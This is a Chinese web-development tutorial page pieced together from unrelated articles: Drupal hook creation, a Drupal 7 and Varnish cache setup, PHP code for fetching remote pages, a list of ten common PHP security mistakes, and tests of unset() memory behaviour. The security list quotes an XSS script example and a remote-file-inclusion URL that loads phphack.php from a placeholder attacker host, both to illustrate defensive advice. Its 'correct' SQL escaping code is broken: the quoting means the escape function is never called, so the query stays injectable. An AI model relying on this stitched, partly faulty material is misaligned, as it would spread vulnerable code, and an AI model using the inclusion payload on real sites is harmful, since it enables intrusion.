Drupal模块开发之创建自己的钩子

 更新时间:2016年11月25日 17:20  点击:2613
Drupal可以让第三方模块创建自己的钩子。在通常的实践中,有两种类型的钩子你可能想要创建,一种是内容修改类的钩子,一种是拦截类的钩子。

Drupal的钩子系统允许和模块交互并改变其他模块的逻辑,甚至是改变Drupal核心逻辑。这是一个非常简单的系统,甚至可以让第三方模块创建自己的钩子。在通常的实践中,有两种类型的钩子你可能想要创建,一种是内容修改类的钩子,一种是拦截类的钩子。修改类的钩子提供了一个标准的方法来修改某个特定对象或变量的内容,典型的是使用 drupal_alter()函数。拦截类的钩子可以让第三方模块在模块执行过程中根据条件做出一些动作。


例1:简单调用

 代码如下 复制代码
<?php
// will call all modules implementing hook_hook_name
module_invoke_all('hook_name');
?>



例2:聚合结果

 代码如下 复制代码
<?php
$result = array();
foreach (module_implements('hook_name') as $module) {
// will call all modules implementing hook_hook_name and
// push the results onto the $result array
$result[] = module_invoke($module, 'hook_name');
}
?>



例3:使用 drupal_alter() 改变内容

 代码如下 复制代码
<?php
$data = array(
'key1' => 'value1',
'key2' => 'value2',
);
// will call all modules implementing hook_my_data_alter
drupal_alter('my_data', $data);
?>



例4:引用传参,不能使用 module_invoke

 代码如下 复制代码
<?php
// @see user_module_invoke()
foreach (module_implements('hook_name') as $module) {
$function = $module . '_hook_name';
// will call all modules implementing hook_hook_name
// and can pass each argument as reference determined
// by the function declaration
$function($arg1, $arg2);
}
?>
Varnish是一款高性能的开源HTTP加速器,使用相对复杂,尤其跟drupal配合使用。现在我们来记录关于Drupal7配合Varnish使用的详细设置教程

准备环境

首先安装一个全新的Drupal,推荐使用drush安装,方便迅速。

先要建一个数据库,记住用户和密码。

###进入mysql
mysql -uroot -p
CREATE DATABASE `mydb` CHARACTER SET utf8 COLLATE utf8_general_ci;
GRANT ALL ON `mydb`.* TO `username`@localhost IDENTIFIED BY 'password';
####退出mysql

Drush安装Drupal7:

drush dl drupal-7.x; #--select 用来选择一个版本
drush site-install standard --account-name=admin --account-pass=admin --db-url=mysql://YourMySQLUser:RandomPassword@localhost/YourMySQLDatabase

默认会安装最新版本的drupal7,如果要选择一个版本,请加参数:–select。

安装成功后,再下载一个varnish模块。

#进入drupal目录
drush dl varnish

安装Varnish

我们默认一个CentOS为例,因为CentOS仓库中的Varnish版本较低,要导入一个新的repo,然后,在升级一下yum软件库。
具体参考这个链接:https://www.varnish-cache.org/installation/redhat

####Varnish 4.0:
rpm --nosignature -i https://repo.varnish-cache.org/redhat/varnish-4.0.el6.rpm
yum install varnish
 
####Varnish 3.0:
 
###RHEL 5 or a compatible distribution, use:
 
rpm --nosignature -i https://repo.varnish-cache.org/redhat/varnish-3.0.el5.rpm
yum install varnish
 
###RHEL 6 and compatible distributions, use:
 
rpm --nosignature -i https://repo.varnish-cache.org/redhat/varnish-3.0.el6.rpm
yum install varnish
 
#如果安装的版本不对,请update一下。
#yum update

输入如下命令监测是否安装成功:

$ usr/sbin/varnishd -V
varnishd (varnish-3.0.5 revision 1a89b1f)
Copyright (c) 2006 Verdens Gang AS
Copyright (c) 2006-2011 Varnish Software AS

设置Varnish的VCL

复制如下代码到/etc/varnish/default.vcl里面:

 代码如下 复制代码
backend default {
  .host = "127.0.0.1";
  .port = "80";
}
 
sub vcl_recv {
  if (req.restarts == 0) {
    if (req.http.x-forwarded-for) {
      set req.http.X-Forwarded-For = req.http.X-Forwarded-For +  ", " +  client.ip;
    }
    else {
      set req.http.X-Forwarded-For = client.ip;
    }
  }
 
  # Do not cache these paths.
  if (req.url ~ "^/status.php$" ||
    req.url ~ "^/update.php$" ||
    req.url ~ "^/ooyala/ping$" ||
    req.url ~ "^/admin/build/features" ||
    req.url ~ "^/info/.$" ||
    req.url ~ "^/flag/.$" ||
    req.url ~ "^./ajax/.$" ||
    req.url ~ "^./ahah/.$") {
    return (pass);
  }
 
  # Pipe these paths directly to Apache for streaming.
  if (req.url ~ "^/admin/content/backup_migrate/export") {
    return (pipe);
  }
 
  # Allow the backend to serve up stale content if it is responding slowly.
  set req.grace = 6h;
 
  # Use anonymous, cached pages if all backends are down.
  if (!req.backend.healthy) {
    unset req.http.Cookie;
  }
 
  # Always cache the following file types for all users.
  if (req.url ~ "(?i).(png|gif|jpeg|jpg|ico|swf|css|js|html|htm)(?[wd=.-]+)?$") {
    unset req.http.Cookie;
  }
 
  # Remove all cookies that Drupal doesn't need to know about. ANY remaining
  # cookie will cause the request to pass-through to Apache. For the most part
  # we always set the NO_CACHE cookie after any POST request, disabling the
  # Varnish cache temporarily. The session cookie allows all authenticated users
  # to pass through as long as they're logged in.
  if (req.http.Cookie) {
    set req.http.Cookie = ";" +  req.http.Cookie;
    set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";");
    set req.http.Cookie = regsuball(req.http.Cookie, ";(SESS[a-z0-9]+|NO_CACHE)=", "; 1=");
    set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", "");
    set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 
    # Remove the "has_js" cookie
    set req.http.Cookie = regsuball(req.http.Cookie, "has_js=[^;]+(; )?", "");
    # Remove the "Drupal.toolbar.collapsed" cookie
    set req.http.Cookie = regsuball(req.http.Cookie, "Drupal.toolbar.collapsed=[^;]+(; )?", "");
    # Remove AdminToolbar cookie for drupal6
    set req.http.Cookie = regsuball(req.http.Cookie, "DrupalAdminToolbar=[^;]+(; )?", "");
    # Remove any Google Analytics based cookies
    set req.http.Cookie = regsuball(req.http.Cookie, "__utm.=[^;]+(; )?", "");
    # Remove the Quant Capital cookies (added by some plugin, all __qca)
    set req.http.Cookie = regsuball(req.http.Cookie, "__qc.=[^;]+(; )?", "");
 
     if (req.http.Cookie == "") {
      # If there are no remaining cookies, remove the cookie header. If there
      # aren't any cookie headers, Varnish's default behavior will be to cache
      # the page.
      unset req.http.Cookie;
      set req.http.X-Varnish-NoCookie = "TRUE";
    }
    else {
      # If there is any cookies left (a session or NO_CACHE cookie), do not
      # cache the page. Pass it on to Apache directly.
      set req.http.X-Varnish-NoCookie = "FALSE";
      set req.http.X-Varnish-CookieData = req.http.Cookie;
      return (pass);
    }
  }
 
  # Handle compression correctly. Different browsers send different
  # "Accept-Encoding" headers, even though they mostly all support the same
  # compression mechanisms. By consolidating these compression headers into
  # a consistent format, we can reduce the size of the cache and get more hits.
  # @see: http:// varnish.projects.linpro.no/wiki/FAQ/Compression
  if (req.http.Accept-Encoding) {
    if (req.http.Accept-Encoding ~ "gzip") {
      # If the browser supports it, we'll use gzip.
      set req.http.Accept-Encoding = "gzip";
    }
    else if (req.http.Accept-Encoding ~ "deflate") {
      # Next, try deflate if it is supported.
      set req.http.Accept-Encoding = "deflate";
    }
    else {
      # Unknown algorithm. Remove it and send unencoded.
      unset req.http.Accept-Encoding;
    }
  }
 
  if (req.request != "GET" &&
    req.request != "HEAD" &&
    req.request != "PUT" &&
    req.request != "POST" &&
    req.request != "TRACE" &&
    req.request != "OPTIONS" &&
    req.request != "DELETE") {
      /* Non-RFC2616 or CONNECT which is weird. */
      return (pipe);
  }
  if (req.request != "GET" && req.request != "HEAD") {
      /* We only deal with GET and HEAD by default */
      return (pass);
  }
  ## Unset Authorization header if it has the correct details...
  #if (req.http.Authorization == "Basic <hash>") {
  #  unset req.http.Authorization;
  #}
  if (req.http.Authorization || req.http.Cookie) {
      /* Not cacheable by default */
      return (pass);
  }
 
  return (lookup);
}
 
 
sub vcl_pipe {
    # Note that only the first request to the backend will have
    # X-Forwarded-For set.  If you use X-Forwarded-For and want to
    # have it set for all requests, make sure to have:
    set bereq.http.connection = "close";
    # here.  It is not set by default as it might break some broken web
    # applications, like IIS with NTLM authentication.
}
 
# Routine used to determine the cache key if storing/retrieving a cached page.
sub vcl_hash {
  if (req.http.X-Forwarded-Proto == "https") {
    hash_data(req.http.X-Forwarded-Proto);
  }
}
 
sub vcl_hit {
  if (req.request == "PURGE") {
    purge;
    error 200 "Purged.";
  }
}
 
sub vcl_miss {
  if (req.request == "PURGE") {
    purge;
    error 200 "Purged.";
  }
}
 
# Code determining what to do when serving items from the Apache servers.
sub vcl_fetch {
  set beresp.http.X-Varnish-CookieData = beresp.http.set-cookie;
  # Don't allow static files to set cookies.
  if (req.url ~ "(?i).(png|gif|jpeg|jpg|ico|swf|css|js)(?[a-z0-9]+)?$") {
    # beresp == Back-end response from the web server.
    unset beresp.http.set-cookie;
  }
  else if (beresp.http.Cache-Control) {
    unset beresp.http.Expires;
  }
 
  if (beresp.status == 301) {
    set beresp.ttl = 1h;
    return(deliver);
  }
 
  ## Doesn't seem to work as expected
  #if (beresp.status == 500) {
  #  set beresp.saintmode = 10s;
  #  return(restart);
  #}
 
  # Allow items to be stale if needed.
  set beresp.grace = 1h;
}
 
# Set a header to track a cache HIT/MISS.
sub vcl_deliver {
  if (obj.hits > 0) {
    set resp.http.X-Varnish-Cache = "HIT";
  }
  else {
    set resp.http.X-Varnish-Cache = "MISS";
  }
}
 
# In the event of an error, show friendlier messages.
sub vcl_error {
     set obj.http.Content-Type = "text/html; charset=utf-8";
     set obj.http.Retry-After = "5";
     synthetic {"
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
   <head>
     <title>"} + obj.status + " " + obj.response + {"</title>
   </head>
   <body>
     <h1>Error "} + obj.status + " " + obj.response + {"</h1>
     <p>"} + obj.response + {"</p>
     <h3>Guru Meditation:</h3>
     <p>XID: "} + req.xid + {"</p>
     <hr>
     <p>Varnish cache server</p>
   </body>
</html>
"};
     return (deliver);
}



配置完成之后,启动Varnish。

测试效果

打开浏览器,输入druapl7的地址,先看Drupal7是否正常,然后加上端口号。
比如我们的测试地址是:http://drupal7.111cn.net
那么再用浏览器打开varnish的地址,如下:http://drupal7.111cn.net:6081/

测试结果,两边都正常就表示drupal和varnish都工作正常。
让Varnish缓存Drupal页面

用Firebug查看varnish的请求,如果看到http头里面有X-Varnish的标记表示varnish已经起作用,这时候我们要判断varnish是否缓存了页面。
如何判断:X-Varnish后面有一个数字,表示不是缓存,X-Varnish后面有两个数字,表示缓存成功。

到这里,我们会发现所有的varnish都没有缓存命中,那么问题来了。。。(挖掘机不会出现)
如何让varnish缓存起作用:

// Tell Drupal it's behind a proxy.
$conf['reverse_proxy'] = TRUE;
 
// Tell Drupal what addresses the proxy server(s) use.
$conf['reverse_proxy_addresses'] = array('127.0.0.1');
 
// Bypass Drupal bootstrap for anonymous users so that Drupal sets max-age &lt; 0.
$conf['page_cache_invoke_hooks'] = FALSE;
 
// Make sure that page cache is enabled.
$conf['cache'] = 1;
$conf['cache_lifetime'] = 0;
$conf['page_cache_maximum_age'] = 21600;

给Drupal的settings.php添加如下内容,然后刷新浏览器,即可看到X-Varnish的数字变成了两个(多刷几次)。

至此,Varnish已经完全可以缓存Drupal的页面了。如下图所示:

Drupal X-varnish

那么,Drupal的Varnish模块是做什么用的?

简单来说,Varnish就是通过Drupal的缓存接口,清除varnish的缓存,比如页面过期。
此外,通过Expire模块,可以精确的控制那些页面,过期时间都可以控制,比较方便。

配置Drupal.org的Varnish模块

启用Varnish模块,阅读一下varnish模块的官方说明: https://www.drupal.org/project/varnish
主要是给Drupal的settings.php添加如下两行:

// Add Varnish as the page cache handler.
$conf['cache_backends'] = array('sites/all/modules/varnish/varnish.cache.inc');
$conf['cache_class_cache_page'] = 'VarnishCache';

然后到Drupal设置页面,路径如下: admin/config/development/varnish

例如:
Varnish Control Terminal: 127.0.0.1:6082
Varnish Control Key: 86b2d660-9768-4a13-ab90-4b0736d6a4d1
点击保存,status就会变为绿色。
(注意:Control Key的值在/etc/varnish/secret 文件里面,复制内容即可)

设置完成,那么清空一下Drupal的缓存,就会发现Varnish里面的缓存值就会刷新,实现了即时清空缓存的目的。

+++++到此完成++++++++(更多问题到drupal大学:http://drupal001.net提问哦!)+++++

哦哦,还有一种情况,就是Varnish安装再另外一台服务器上,因为Varnish控制后台默认监听的是本机,因此,如果要刷新另一台反向代理服务器的缓存,就必须修改配置。可选的方法有两个,

其一,让Varnish的管理后台地址使用内网的IP(比如192.168.1.x),一般这种架构都是内网集群,因此监听内网也是比较合理的。
其二,本机使用autossh,把本机的端口6082映射到内网机器上面。

$ autossh -fN  -L 6082:localhost:6082

完成

至此,Drupal7 + Varnish的配置已经完成,Drupal和varnish也完全集成。Varnish的缓存总得来说速度大于其他缓存,所以可以代替Boost缓存。
如果要使用Varnish缓存动态内容,还有更多的内容要做,本文就不再增加大家的阅读量了(^_^)。

+++++++++++++++++++++++

最后,顺便多嘴,说一下Apache的RPAF Module。

Varnish默认使用 X-Forwarded-For作为远程IP的地址信息,但是这个不是一个标准的协议,有时候我们还是用PHP里面的 $_SERVER['REMOTE_ADDR']来获得IP。
Apache有一个模块,RPAF的配置文件 rpaf.conf如下,即可获设置正确的IP地址。(具体安装就不多说)

RPAFenable On
RPAFsethostname  On
RPAFproxy_ips    127.0.0.1 192.168. 10.0.0.
RPAFheader       X-Forwarded-For

有时我们需要做一些采集需要下载远程网页源码到本来了,在这里我们整理了一些php获取远程网页源码代码,希望对各位会有所帮助。

php的curl函数

基本例子

 代码如下 复制代码

??php
// 初始化一个 cURL 对象
$curl = curl_init();

// 设置你需要抓取的URL
curl_setopt($curl, CURLOPT_URL, 'http://www.111cn.net');

// 设置header
curl_setopt($curl, CURLOPT_HEADER, 1);

// 设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

// 运行cURL,请求网页
$data = curl_exec($curl);

// 关闭URL请求
curl_close($curl);

// 显示获得的数据
var_dump($data);
?>

php fopen函数

 代码如下 复制代码

<?
print("<H1>HTTP</H1>n");

// open a file using http protocol
if(!($myFile = fopen("http://www.111cn.net/", "r")))
{
print("file could not be opened");
exit;
}

while(!feof($myFile))
{
// read a line from the file
$myLine = fgetss($myFile, 255);
print("$myLine <BR>n");
}

// close the file
fclose($myFile);

print("<H1>FTP</H1>n");
print("<HR>n");

// open a file using ftp protocol
if(!($myFile = fopen("ftp://ftp.php.net/welcome.msg", "r")))
{
print("file could not be opened");
exit;
}

while(!feof($myFile))
{
// read a line from the file
$myLine = fgetss($myFile, 255);
print("$myLine <BR>n");
}

// close the file
fclose($myFile);

print("<H1>Local</H1>n");
print("<HR>n");

// open a local file
if(!($myFile = fopen("data.txt", "r")))
{
print("file could not be opened");
exit;
}

while(!feof($myFile))
{
// read a line from the file
$myLine = fgetss($myFile, 255);
print("$myLine <BR>n");
}

// close the file
fclose($myFile);
?>

file_get_contents函数

 代码如下 复制代码

?php

file_get_contents('http://www.111cn.net/');

?>

抓取远程网页源码类

 代码如下 复制代码

<?php
 
class HTTPRequest
{
    var $_fp;        // HTTP socket
    var $_url;        // full URL
    var $_host;        // HTTP host
    var $_protocol;    // protocol (HTTP/HTTPS)
    var $_uri;        // request URI
    var $_port;        // port
    
    // scan url
    function _scan_url()
    {
        $req = $this->_url;
        
        $pos = strpos($req, '://');
        $this->_protocol = strtolower(substr($req, 0, $pos));
        
        $req = substr($req, $pos+3);
        $pos = strpos($req, '/');
        if($pos === false)
            $pos = strlen($req);
        $host = substr($req, 0, $pos);
        
        if(strpos($host, ':') !== false)
        {
            list($this->_host, $this->_port) = explode(':', $host);
        }
        else 
        {
            $this->_host = $host;
            $this->_port = ($this->_protocol == 'https') ? 443 : 80;
        }
        
        $this->_uri = substr($req, $pos);
        if($this->_uri == '')
            $this->_uri = '/';
    }
    
    // constructor
    function HTTPRequest($url)
    {
        $this->_url = $url;
        $this->_scan_url();
    }
    
    // download URL to string
    function DownloadToString()
    {
        $crlf = "rn";
        
        // generate request
        $req = 'GET ' . $this->_uri . ' HTTP/1.0' . $crlf
            .    'Host: ' . $this->_host . $crlf
            .    $crlf;
        
        // fetch
        $this->_fp = fsockopen(($this->_protocol == 'https' ? 'ssl://' : '') . $this->_host, $this->_port);
        fwrite($this->_fp, $req);
        while(is_resource($this->_fp) && $this->_fp && !feof($this->_fp))
            $response .= fread($this->_fp, 1024);
        fclose($this->_fp);
        
        // split header and body
        $pos = strpos($response, $crlf . $crlf);
        if($pos === false)
            return($response);
        $header = substr($response, 0, $pos);
        $body = substr($response, $pos + 2 * strlen($crlf));
        
        // parse headers
        $headers = array();
        $lines = explode($crlf, $header);
        foreach($lines as $line)
            if(($pos = strpos($line, ':')) !== false)
                $headers[strtolower(trim(substr($line, 0, $pos)))] = trim(substr($line, $pos+1));
        
        // redirection?
        if(isset($headers['location']))
        {
            $http = new HTTPRequest($headers['location']);
            return($http->DownloadToString($http));
        }
        else 
        {
            return($body);
        }
    }
}
//使用方法
$r = new HTTPRequest('http://www.111cn.net');
$str=$r->DownloadToString();
 
?>

最近经常和初学的phper讨论php相关问题,发现他们都在犯一些同样的错误,这些错误也是我以前犯过的。现在我把这些常的10个错误列出来,大多数是php安全方面,方便大家学习参考。

1.不转意html entities

一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。
echo $_GET['usename'] ;
这个例子有可能输出:
<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>
这是一个明显的安全隐患,除非你保证你的用户都正确的输入。
如何修复 :
我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的。
正确的方法:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. 不转意SQL输入

我 曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!
如何修复:
和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数
正确做法:
<?php
$sql = "UPDATE users SET
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>

3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()

遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。
如 果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署 到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设 置........。

如何修复:
确保在输出之前调用http-header相关的函数,并且令output_buffering = Off 。

4. Require 或 include 的文件使用不安全的数据

再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:
index.php
<?
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。
如果allow_url_fopen=On,你更是死定了:
试试这个输入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
如何修复:
你必须自己控制哪些文件可以包含在的include或require指令中。
下面是一个快速但不全面的解决方法:
<?
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>

5. 语法错误

语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换个好的编辑器,就不要用记事本了!

6.很少使用或不用面向对象

很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。

7. 不使用framework

95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?

8. 不知道PHP中已经有的功能

PHP 的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()

9.使用旧版本的PHP

很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序 只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.


10.对引号做两次转意


见过网页中出现'或'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。
原始文本:
It's a string

magic quotes on :
It's a string
又运行一次
addslashes():
It's a string

HTML输出:
It's a string

我们写php程序时,会用到很多变量,如果过期的变量不即时销毁,会呆用一点的内存。php提供了销毁指定的变量的函数unset(),但是有些时候,用unset()也无法销毁变量占用的内存,本文用例子来讲解unset()销毁变量。

我们先看一个例子:

 代码如下 复制代码
<?php 
$s=str_repeat('1',255);  //产生由255个1组成的字符串 
$m=memory_get_usage();  //获取当前占用内存 
unset($s); 
$mm=memory_get_usage();  //unset()后再查看当前占用内存 
echo $m-$mm; 
?> 


最后输出unset()之前占用内存减去unset()之后占用内存,如果是正数,那么说明unset($s)已经将$s从内存中销毁(或者说,unset()之后内存占用减少了),可是我在PHP5和windows平台下,得到的结果是:-48。这是否可以说明,unset($s)并没有起到销毁变量$s所占用内存的作用呢?我们再作下面的例子:

 代码如下 复制代码
<?php 
$s=str_repeat('1',256);  //产生由256个1组成的字符串 
$m=memory_get_usage();  //获取当前占用内存 
unset($s); 
$mm=memory_get_usage();  //unset()后再查看当前占用内存 
echo $m-$mm; 
?> 


这个例子,和上面的例子几乎相同,唯一的不同是,$s由256个1组成,即比第一个例子多了一个1,得到结果是:224。这是否可以说明,unset($s)已经将$s所占用的内存销毁了?

通过上面两个例子,我们可以得出以下结论:结论一、unset()函数只能在变量值占用内存空间超过256字节时才会释放内存空间。

那么是不是只要变量值超过256,使用unset就可以释放内存空间呢?我们再通过一个例子来测试一下:

 代码如下 复制代码
<?php 
$s=str_repeat('1',256);  //这和第二个例子完全相同 
$p=&$s; 
$m=memory_get_usage(); 
unset($s);  //销毁$s 
$mm=memory_get_usage(); 
echo $p.'<br />'; 
echo $m-$mm; 
?> 



刷新页面,我们看到第一行有256个1,第二行是-48,按理说我们已经销毁了$s,而$p只是引用$s的变量,应该是没有内容了,另外,unset($s)后内存占用却比unset()前增加了!现在我们再做以下的例子:

 代码如下 复制代码
<?php 
$s=str_repeat('1',256);  //这和第二个例子完全相同 
$p=&$s; 
$m=memory_get_usage(); 
$s=null;  //设置$s为null 
$mm=memory_get_usage(); 
echo $p.'<br />'; 
echo $m-$mm; 
?>



 现在刷新页面,我们看到,输出$p已经是没有内容了,unset()前后内存占用量之差是224,即已经清除了变量占用的内存。本例中的$s=null也可以换成unset(),如下:

 代码如下 复制代码
<?php 
$s=str_repeat('1',256);  //这和第二个例子完全相同 
$p=&$s; 
$m=memory_get_usage(); 
unset($s);  //销毁$s 
unset($p); 
$mm=memory_get_usage(); 
echo $p.'<br />'; 
echo $m-$mm; 
?> 



我们将$s和$p都使用unset()销毁,这时再看内存占用量之差也是224,说明这样也可以释放内存。那么,我们可以得到另外一条结论:结论二、只有当指向该变量的所有变量(如引用变量)都被销毁后,才会释放内存。

相信经过本文的例子后,大家应该对unset()有所了解了,最起码,本人用unset()也是为了在变量不起作用时,释放内存。

[!--infotagslink--]

相关文章

  • vscode搭建STM32开发环境的详细过程

    这篇文章主要介绍了vscode搭建STM32开发环境的详细过程,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2021-05-02
  • JavaScript动态创建div属性和样式示例代码

    1.创建div元素: Javascript代码 复制代码 代码如下: <scripttypescripttype="text/javascript"> functioncreateElement(){ varcreateDiv=document.createElement("div"); createDiv.innerHTML="Testcreateadiveleme...2013-10-13
  • 安卓开发之Intent传递Object与List教程

    下面我们一起来看一篇关于 安卓开发之Intent传递Object与List的例子,希望这个例子能够为各位同学带来帮助。 Intent 不仅可以传单个的值,也可以传对象与数据集合...2016-09-20
  • php微信公众账号开发之五个坑(二)

    这篇文章主要为大家详细介绍了php微信公众账号开发之五个坑,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2016-10-02
  • 如何设计一个安全的API接口详解

    在日常开发中,总会接触到各种接口,前后端数据传输接口,第三方业务平台接口,下面这篇文章主要给大家介绍了关于如何设计一个安全的API接口的相关资料,需要的朋友可以参考下...2021-08-12
  • idea 无法创建Scala class 选项的原因分析及解决办法汇总

    这篇文章主要介绍了idea 无法创建Scala class 选项的解决办法汇总,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2020-09-02
  • PS如何创建变形文字 ps给文字变形的方法

    PS怎么创建变形文字?ps中想要给输入的文字变形,该怎么调整文字的显示形态呢?下面我们就来看看ps给文字变形的方法,需要的朋友可以参考下 我们在图层上输入文字后,可以...2017-07-06
  • php创建无限级树型菜单

    写递归函数,可考虑缓存,定义一些静态变量来存上一次运行的结果,多程序运行效率很有帮助.。 大概步骤如下: step1:到数据库取数据,放到一个数组, step2:把数据转化为一个树型状的数组, step3:把这个树型状的数组转为html代码。...2015-11-08
  • Drupal模块开发之创建自己的钩子

    Drupal可以让第三方模块创建自己的钩子。在通常的实践中,有两种类型的钩子你可能想要创建,一种是内容修改类的钩子,一种是拦截类的钩子。 Drupal的钩子系统允许和模...2016-11-25
  • C# Hook钩子实例代码 截取键盘输入

    C# Hook钩子实例代码之截取键盘输入,需要的朋友可以参考下...2020-06-25
  • 实例讲解Ruby中的钩子方法及对方法调用添加钩子

    钩子方法即是在普通的方法上添加"钩子",使特定事件发生时可以被调用,下面就来以实例讲解Ruby中的钩子方法及对方法调用添加钩子...2020-06-30
  • 什么是cookie?js手动创建和存储cookie

    什么是cookie? cookie 是存储于访问者的计算机中的变量。每当同一台计算机通过浏览器请求某个页面时,就会发送这个 cookie。你可以使用 JavaScript 来创建和取回 cookie 的值。 有关cookie的例子: 名字 cookie 当访...2014-05-31
  • Chrome插件开发系列一:弹窗终结者开发实战

    从这一节开始,我们将从零开始打造我们的chrome插件工具库,第一节我们将讲一下插件开发的基础知识并构建一个简单但却很实用的插件,在构建之前,我们先简单的了解一下插件以及插件开发的基础知识...2020-10-03
  • C#创建Windows服务的实现方法

    这篇文章主要介绍了C#创建Windows服务的实现方法,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧...2020-06-25
  • Cocos2d-x UI开发之CCControlColourPicker控件类使用实例

    这篇文章主要介绍了Cocos2d-x UI开发之CCControlColourPicker控件类使用实例,本文代码中包含大量注释来讲解CCControlColourPicker控件类的使用,需要的朋友可以参考下...2020-04-25
  • 微信开发生成带参数的二维码的讲解

    在微信公众号平台开发者那里,在“账号管理”那里,有一项功能是“生成带参数的二维码”,通过这儿生成的二维码,只要通过微信扫一扫之后,会把事件自动推送到微...2016-05-19
  • 解决VUE mounted 钩子函数执行时 img 未加载导致页面布局的问题

    这篇文章主要介绍了解决VUE mounted 钩子函数执行时 img 未加载导致页面布局的问题,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-07-27
  • Java开发SpringBoot集成接口文档实现示例

    这篇文章主要为大家介绍了Java开发SpringBoot如何集成接口文档的实现示例,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步...2021-10-28
  • Drupal8模块开发之区块和表单教程

    前页我们讲了 Drupal8模块开发之路由、控制器和菜单链接教程 ,现在我们将学习进一步开发Drupal8模块,区块和表单。 上一教程:Drupal8模块开发之路由、控制器和菜单链...2016-11-25
  • C#对Word文档的创建、插入表格、设置样式等操作实例

    今天小编就为大家分享一篇C#对Word文档的创建、插入表格、设置样式等操作实例,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-06-25